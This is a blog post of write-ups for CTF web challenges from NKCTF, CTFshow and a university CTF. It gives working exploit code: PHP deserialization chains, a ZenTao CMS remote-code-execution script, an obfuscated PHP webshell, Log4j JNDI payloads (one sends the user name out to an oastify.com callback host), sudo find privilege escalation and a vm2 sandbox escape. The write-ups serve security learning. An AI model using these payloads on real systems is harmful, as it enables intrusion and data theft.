近期CTF web

news2024/11/29 4:32:19

文章目录

NKCTF

baby_php

<?php
    error_reporting(0);
    class Welcome{
        public $name;
        public $arg = 'oww!man!!';
        public function __construct(){
            $this->name = 'ItS SO CREAZY';
        }
        public function __destruct(){
            if($this->name == 'welcome_to_NKCTF'){
                echo $this->arg;
            }
        }
    }

    function waf($string){
        if(preg_match('/f|l|a|g|\*|\?/i', $string)){
            die("you are bad");
        }
    }
    class Happy{
        public $shell;
        public $cmd;
        public function __invoke(){
            $shell = $this->shell;
            $cmd = $this->cmd;
            waf($cmd);
            eval($shell($cmd));
        }
    }
    class Hell0{
        public $func;
        public function __toString(){
            $function = $this->func;
            $function();
        }
    }

    if(isset($_GET['p'])){
        unserialize($_GET['p']);
    }else{
        highlight_file(__FILE__);
    }
?>

很基础的反序列化
先dir / 读到文件名是f1ag
唯一要绕的点是如何读f1ag,这里用[!]来替换通配符?
[!q]表示匹配非q的字符

poc:

<?php
class Welcome{
    public $name;
    public $arg;
    public function __construct($ar){
        $this->name = 'welcome_to_NKCTF';
        $this->arg = $ar;
    }

}

function waf($string){
    if(preg_match('/f|l|a|g|\*|\?/i', $string)){
        die("you are bad");
    }
}
class Happy{
    public $shell;
    public $cmd;
    public function __construct($sh,$cm){
        $this->shell=$sh;
        $this->cmd=$cm;
    }
    
}
class Hell0{
    public $func;
    public function __construct($fu){
        $this->func = $fu;
    }

}

$s = new Welcome(new Hell0(new Happy('system','sort /[!q]1[!q][!q]')));
echo (serialize($s));

ez_php

<?php 
    highlight_file(__FILE__);
    error_reporting(0);
    if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){
        if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){
            if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){
                if(isset($_GET['NS_CTF.go'])){
                    if(isset($_POST['cmd'])){
                        if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){
                            eval($_POST['cmd']);
                        }else{
                            die('error!!!!!!');
                        }
                    }else{
                        die('error!!!!!');
                    }
                }else{
                    die('error!!!!');
                }
            }else{
                die('error!!!');
            }
        }else{
            die('error!!');
        }
    }else{
        die('error!');
    }
?>

签到难度,不过这里的sha1强比较试了挺多payload才好,post一定要urlencode

下划线_用[替代即可,无数字字母rce就行了

image-20230408195926323

hard_php

<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['NKCTF'])) {
    $NK = $_POST['NKCTF'];
    if (is_string($NK)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
            eval($NK);
        }else{
            echo("hacker!!!");
        }
    }else{
        phpinfo();
    }
}
?>

由ctfshow最近的rce专项赛改编,原题没有限制字符长度

这里也提示// not only ++

所以应该不是自增来拿字符了,但是通过自增可以拿到一点数字

还有什么方法

发现好像是原题 RCE挑战5

先读phpinfo,传数组即可,禁用了很多函数,不过用highlight_file读即可

image-20230408200136266

easy_pms

image-20230408200248883

禅道 CMS 版本 18.0

有个python脚本可以检测漏洞存在,稍微改了一下就行

# -*- coding: UTF-8 -*-
# !/usr/bin/python

'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests

proxies = {
    #"http": "127.0.0.1:8080",
    #"https": "127.0.0.1:8080",
}
def check(url):
    url="http://075a86dd-ec64-411c-a576-7c6548a19b4a.node2.yuzhian.com.cn/"
    url1 = url+'/misc-captcha-user.html'
    # url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
    # url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
    url3 = url + 'repo-create.html'
    url4 = url + 'repo-edit-10000-10000.html'
    headers={
        "User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language":"zh-CN,zh;q=0.9",
        "Cookie":"zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
    }

    headers2 = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Cookie": "zentaosid=u6vl6rc62jiqof4g5jtle6pft2; lang=zh-cn; device=desktop; theme=default",
        "Content-Type":"application/x-www-form-urlencoded",
        "X-Requested-With":"XMLHttpRequest",
        "Referer":url+"/repo-edit-1-0.html"
    }

    data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
    data2 ={
        'SCM':'Subversion',
        'client':"`tac /f*`"
    }
    #data2 = 'SCM=Subversion&client=`id`'
    s=requests.session()
    try:
        req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
        req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
        req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
        print(req4.text)
        if 'uid=' in req4.text:
            print(url,"")
            return True
    except Exception as e:
        print(e)
    return False
if __name__ == '__main__':
    print(check("http://075a86dd-ec64-411c-a576-7c6548a19b4a.node2.yuzhian.com.cn/"))

easy_cms

后台路径/dede

用户名密码都是admin

进入管理页面。方法就多了,很多师傅也都是直接在模板文件中直接写了个webshell,需要搞一下免杀就行,比如无字母rce

比如异或webshell:

<?=@("Y;HJ(Z"^"8H;/Z.")(${"~?}$"^"!x8p"}[1]); //get pass=1

我的做法也大同小异,其实可以删除一些匹配的black_list,删除后经过测试只会禁用POST,模板文件直接执行命令即可。

image-20230408201013678

WebPageTest

https://xz.aliyun.com/t/11798#toc-2

就是这个点,注意kali下的php.ini 也要设置一下phar

跟着文章打payload即可,解决工具报错就行

image-20230408201138692

xiaopi

就是最近爆出的洞

登录页面触发XSS进而可以通过poc来rce

路径不知道,通过增加X-Requested-With: XMLHttpRequest 来拿到首页

image-20230408201318051

经过测试XSS能执行成功,也能拿到cookie

image-20230408201528958

小皮面板这题卡了一天是由于最后执行命令不成功

网上流传的测试poc尽数是创建文件

image-20230408201746550

我想当然地也去创建文件了,继而写马即可

由于不太确定文件路径,所以我一直怀疑是我的文件路径设置的有问题所以没成功,linux下的小皮面板路径我也摸了很多,大概是 /www/wwwroot/phpstudy/index.php,因为一直出不来就反复摆烂了,最后一天去看misc居多了。

好吧,最后wp都是反弹shell,其实我剩最后几分钟时候有尝试反弹shell,大概率是某个地方写错了,导致没连接上。这下长记性了。

并且网上有位大哥直播分享了刚刚挖到新的点,试了试没试出来。也分享一下

https://www.bilibili.com/video/BV1Yc411j7TP/

https://f5.pm/go-155268.html

这个sql堆叠,我看某个wp是有师傅利用到了,但是密码是三次MD5加密。

CTFshow愚人赛

easy_signin

base64文件名读取图片

image-20230408204515744

拿到index.php的图片后解码bsae64就有flag

easy_ssti

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'
image-20230408204728767

这里ls /没有出来,用的 cd …

ez_flask

这个是我出的题目,准备来出给学校的校赛的,所以难度还是非常友好的。没有意外,都被师傅们签到了hhh。

flask的session伪造 + 任意文件下载 + python命令执行

存在admin账户,密码不能爆破。注册新用户后登录

首页有一个learn连接和需要role为admin的提示

image-20230408203628549 image-20230408203655835

learn连接暴露了session的密钥,由此可以进行session伪造

image-20230408203716282

拿到admin的权限,会多出一个下载功能点,点击之后下载的是fakeflag,这里需要观察一下前端的a标签路径

image-20230408203747833

通过经验或者learn页面的注释,去下载app.py可以成功拿到源码

/download/?filename=app.py
image-20230408203811848

有一个简单的命令执行路由

源码没有提供os库。需要自己引入一下os库,即可

__import__("os").popen("ls").read();

可以用这个payload直接读

被遗忘的反序列化

<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    public $a;
    private $b;

    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

存在非预期,直接内置类打

class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }

因为这里的$this->coos$this->file 都可控,那就可以使用经典的echo new a(b)的payload

⾸先⽤能遍历⽬录的原⽣类,⽐如DirectoryIterator结合glob读⽂件名

?a=DirectoryIterator&b=glob:///f*

然后⽤SplFileObject去读⽂件

?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

大致原理如此,可参考https://mp.weixin.qq.com/s/CDNU1RgfeliURN69UZqCTA

这题如何利用呢,先触发一下__toString()

class w_wuw_w{
    public $aaa;
    public function __destruct(){
        echo $this->aaa;
    }

也可直接忽略wakeup,destruct()直接有echo,可以触发tostring

<?php
class gBoBg{
    public $name='aa';
    public $file='glob:///f*';
    public $coos='DirectoryIterator';
}

class w_wuw_w{
    public $aaa;
    public function __construct($a)
    {
        $this->aaa =$a;
    }
}
$s = new w_wuw_w(new gBoBg());
echo serialize($s);

O:7:"w_wuw_w":1:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:2:"aa";s:4:"file";s:10:"glob:///f*";s:4:"coos";s:17:"DirectoryIterator";}}

然后反序列化点是$_SERVER["HTTP_AAAAAA"]; 就是请求头AAAAAA

image-20230408221311098

然后⽤SplFileObject去读flag⽂件

image-20230408221514628

easy_php

反序列化学到新trick

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}

不能以O和a开头,在php低版本中,O或a的冒号后的数字前可以加一个+来进行绕过,不过这个版本不行

还有一种方式是C开头

参考:https://wiki.php.net/rfc/custom_object_serialization

实现Serializable接口的类使用C格式编码,基本上是C:ClassNameLen:"ClassName":PayloadLen:{Payload},其中Payload是任意字符串

根据这个格式,造了个payload是C:7:"ctfshow":27:{s:7:"ctfshow";s:6:"whoami";}

本地debug时候发现属性还是赋值不成功

image-20230408225444653

原因是不能这样随意构造,需要利用内置了Serializable接口的类,比如ArrayObject

参考:https://www.php.net/manual/zh/arrayobject.serialize.php

使用这个类去修饰ctfshow

<?php

class ctfshow{
    public $ctfshow = 'whoami';

}
$a= new ArrayObject();
$a -> b= new ctfshow();
echo serialize($a);
?>

    C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"b";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}

image-20230408234755809

杭师大CTF

findme

image-20230408201959157

都得有root权限

也不能创文件,试了试无回显也都不行

试了下echo是可以的,偶然发现echo *是可以读目录的,之前不知道。。

image-20230408202021091

然而读文件还是不行

还有个start.sh以为是重大hint嘞

后来就把目光放在了tmp,因为tmp可以普通权限

tmp 目录可以群魔乱舞了,但是不能读文件

tmp目录创建后 也不能执行。。还是没权限执行,但是chmod又不能用,卡住了

wp出来了,学习了一波

usr/bin 下有sudo程序 /bin 存放所有用户皆可用的系统程序

image-20230408202102090

用sudo提权find命令

find anyfile -exec whoami \;
image-20230408202126929

ez_java

Try to fxxk it ( Log4j

I will log your uri. hint:fastjson 1.2.48

没接写过java的题目,根据提示是 fastjson 1.2.48利用log4j

不过这个是个很典型的漏洞利用了

可以用payload进行漏洞检测

url/${jndi:ldap://your_ip:your_port/Exploit}

确实能检测到

image-20230408202423565

包括去试了一下dnslog查看用户,也是可以外带出来

/${jndi:ldap://${sys:user.name}.tpmki06srmv54i2xdrz201dpigo9cy.oastify.com/exp}

image-20230408202449467

如何RCE或者反弹shell还是需要学一下log4j的利用方法

参考文章:

https://www.cnblogs.com/peace-and-romance/p/15717457.html

https://www.freebuf.com/articles/web/358670.html

https://blog.csdn.net/qq_44159028/article/details/123397534

eznode

/app.js

泄露源码

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

引用了vm2,并且存在merge方法,存在原型链污染漏洞

backdoor方法new VM().run({}.shellcode);

原型链污染进行vm2沙箱逃逸 ,学习一下

https://xz.aliyun.com/t/11859

https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6%8E%A2/index.html

vm2沙箱逃逸的payload:

let res = import('./foo.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/423039.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【八】springboot启动源码 - finishRefresh

Last step: publish corresponding event. clearResourceCaches initLifecycleProcessor Initialize lifecycle processor for this context. 从IOC获取LifecycleProcessor设置到applicationContext中,如果从IOC中获取不到会创建DefaultLifecycleProcessor并注册到IOC中 get…

【能力提升】SQL Server常见问题介绍及快速解决建议

前言 本文旨在帮助SQL Server数据库的使用人员了解常见的问题&#xff0c;及快速解决这些问题。这些问题是数据库的常规管理问题&#xff0c;对于很多对数据库没有深入了解的朋友提供一个大概的常见问题框架。 下面一些问题是在近千家数据库用户诊断时发现的常规问题&#xff0…

用Abp实现找回密码和密码强制过期策略

文章目录重置密码找回密码发送验证码校验验证码发送重置密码链接创建接口密码强制过期策略改写接口Vue网页端开发重置密码页面忘记密码控件密码过期提示项目地址用户找回密码&#xff0c;确切地说是 重置密码&#xff0c;为了保证用户账号安全&#xff0c;原始密码将不再以明文…

一篇文章搞定《动手学深度学习》-(李牧)PyTorch版本的所有内容

目录 目录 简介 阅读指南 1. 深度学习简介 2. 预备知识 3. 深度学习基础 4. 深度学习计算 5. 卷积神经网络 6. 循环神经网络 7. 优化算法 8. 计算性能 9. 计算机视觉 10. 自然语言处理 环境 参考&#xff08;大家可以在这里下载代码&#xff09; 原书地址&#…

优思学院|精益生产和精益管理的区别

精益生产和精益管理&#xff0c;这两个概念我们或多或少都听说过。但是&#xff0c;你是否真的明白这两个概念的区别&#xff1f;或者你是否也像我一样&#xff0c;之前把这两个概念混淆在一起呢&#xff1f;今天&#xff0c;我要和大家分享的是&#xff0c;精益生产和精益管理…

用Flutter开发一款音乐App(从0到1开发一款音乐App)

Flutter Music_Listener(flutter音乐播放器) Flutter version 3.9 项目介绍 1、项目整体基于getxretrofitdiojsonserialize开发 2、封装通用控制器BaseController&#xff0c;类似jetpack mvvm框架中的BaseViemodel 3、封装基础无状态基类BaseStatelessWidget&#xff0c;结合…

jmap执行失败了,怎么获取heapdump?

在之前的OOM问题复盘中&#xff0c;我们添加了jmap脚本来自动dump内存现场&#xff0c;方便排查OOM问题。 但当我反复模拟OOM场景测试时&#xff0c;发现jmap有时可以dump成功&#xff0c;有时会报错&#xff0c;如下&#xff1a; 经过网上一顿搜索&#xff0c;发现两种原因可…

来 Azure 学习 OpenAI 三 - 用 Python 调用 Azure OpenAi API

大家好&#xff0c;我是微软学生大使 Jambo。在我们申请好 Azure 和 Azure OpenAI 之后&#xff0c;我们就可以开始使用 OpenAI 模型了。如果你还没有申请 Azure 和 Azure OpenAI&#xff0c;可以参考 注册 Azure 和申请 OpenAI。 本文将会以 Azure 提供的 Openai 端口为例&am…

2023年4月广东省计算机软考中/高级备考班招生简章

软考是全国计算机技术与软件专业技术资格&#xff08;水平&#xff09;考试&#xff08;简称软考&#xff09;项目&#xff0c;是由国家人力资源和社会保障部、工业和信息化部共同组织的国家级考试&#xff0c;既属于国家职业资格考试&#xff0c;又是职称资格考试。 系统集成…

VS Code 插件开发概览

VS Code 插件开发概览 前言 VS Code作为开发者的代码开发利器&#xff0c;越来越受开发者的喜爱。像我身边的前端&#xff0c;每天80%的开发工作都是在VS Code上完成的。随着人们对它的使用&#xff0c;不再满足简单的优雅&#xff0c;舒服写代码这一基本需求。有些人利用它进…

FA-PEG-MAL,叶酸-聚乙二醇-马来酰亚胺 实验用科研试剂;Folic acid PEG Maleimide

FA-PEG-MAL,叶酸-聚乙二醇-马来酰亚胺 中文名称&#xff1a;叶酸-聚乙二醇-马来酰亚胺 英文名称&#xff1a;Folic acid PEG Maleimide, FA-PEG-MAL 性状&#xff1a;固体或者粘稠液体&#xff0c;取决于分子量大小。 溶剂&#xff1a;溶于水、DMF、DMSO等常规有机溶剂 分…

Redis高级之IO多路复用和epoll(十二)

nginx 的反向代理也是采用了IO多路复用 1.是什么 I/O 网络 I/O 多路 多个客户端连接&#xff08;连接就是套接字描述符&#xff0c;即socket 或者 channel&#xff09;&#xff0c;指的是多条 TCP 连接 复用 用一个进程来处理多条的连接&#xff0c;使用单进程就能实现同时处…

【cmake学习】set_target_properties 常见属性以及获取target 属性

set_target_properties 的作用是设置目标的属性&#xff0c;可以是目标文件输出的名称或者目录、目标文件的版本号。与之对应的&#xff0c;我们可以使用 get_target_properties 来获取目标文件某一属性对应的值。 命令格式如下&#xff1a; set_target_properties(目标文件1…

凌恩生物美文分享|基于宏基因组的氮循环分析内容重磅升级!

元素循环是生物地球化学循环的重要环节&#xff0c;主要涉及碳、氮、磷、硫等元素的循环过程。凌恩生物强势推出基于宏基因组的氮循环研究方案&#xff0c;构建了完整的氮循环循环模式图&#xff0c;对宏基因组数据进行深入挖掘&#xff0c;各部分结果图可直接用于文章发表&…

NDK RTMP直播客户端三

在之前完成的实战项目【FFmpeg音视频播放器】属于拉流范畴&#xff0c;接下来将完成推流工作&#xff0c;通过RTMP实现推流&#xff0c;即直播客户端。简单的说&#xff0c;就是将手机采集的音频数据和视频数据&#xff0c;推到服务器端。 接下来的RTMP直播客户端系列&#xff…

Openssh 版本升级至8.4

目录 安装包下载地址 zlib包 openssl包 openssh 1、为了防止升级失败登陆不了&#xff0c;所以需要安装telnet 2、检查环境 2.1安装所需的相关组件 2.2备份原来的数据 2.3删除现有的安装sshd的相关软件包 3、下载所需的源码包 3.1编译安装sshd 3.2查看ssh命令的执…

XML文件检索技术:Xpath

纠正&#xff1a;上图中是通过根元素、父元素、子元素… Xpath检索方法及路径&#xff1a; 绝对路径代码示例&#xff1a; 47行&#xff1a;Xpath解析技术也是基于Dom4J的技术&#xff1b; 52行&#xff1a;List<Node> 创建Node类型的集合nameNodes&#xff0c;selec…

大数据应用开发--概述

大数据应用开发–概述 1. 大数据应用开发简介 1.1 数据分析的概念 数据分析就是利用数学、统计学理论相结合科学统计分析方法对数据库中的数据、Excel数据、收集的大量数据、网页抓取的数据进行分析&#xff0c;从中提取有价值的信息形成结论并进行展示的过程。 数据分析的目…

没想到大厂Adobe还有这些“猫腻”!

北京时间周四晚间&#xff0c;图像及视频生产力工具大厂Adobe发布公告&#xff0c;宣布旗下的视频创作应用Premiere Pro将喜提一系列新的AI功能。这也是Adobe上个月发布AIGC创作功能“萤火虫”后的最新动作。综合Adobe的官方公告和演示视频&#xff0c;最大亮点就是基于文字的视…

生存函数(Survival function)

文章目录1. 定义2. 生存函数的例子3. 参数生存函数3.1 指数生存函数&#xff08;Exponential survival function&#xff09;3.2 威布尔生存函数&#xff08;Weibull survival function&#xff09;3.3 其他参数生存函数4. 非参数生存函数5. 性质6. Kaplan–Meier estimator6.1…